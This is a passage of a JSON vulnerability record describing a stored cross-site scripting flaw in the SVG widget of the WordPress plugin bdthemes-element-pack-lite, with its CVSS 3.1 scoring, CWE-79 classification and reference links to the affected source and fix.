This is due to insufficient input sanitization and output escaping on SVG content fetched from remote URLs in the render_svg() function. The function fetches SVG content using wp_safe_remote_get() and then directly echoes it to the page without any sanitization, only applying a preg_replace() to add attributes to the SVG tag which does not remove malicious event handlers. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary JavaScript in SVG files that will execute whenever a user accesses a page containing the malicious widget."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bdthemes-element-pack-lite/tags/8.4.2/modules/svg-image/widgets/svg-image.php#L1028", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bdthemes-element-pack-lite/tags/8.4.2/modules/svg-image/widgets/svg-image.php#L1063-L1129", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bdthemes-element-pack-lite/tags/8.4.2/modules/svg-image/widgets/svg-image.php#L989-L1033", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bdthemes-element-pack-lite/trunk/modules/svg-image/widgets/svg-image.php#L1028", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bdthemes-element-pack-lite/trunk/modules/svg-image/widgets/svg-image.php#L1063-L1129", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bdthemes-element-pack-lite/trunk/modules/svg-image/widgets/svg-image.php#L989-L1033", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3494214%40bdthemes-element-pack-lite&new=3494214%40bdthemes-element-pack-lite&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0838f085-8ff7-4c6a-bd5b-af99f666377b?source=cve", "source": "[email protected]"}]}}
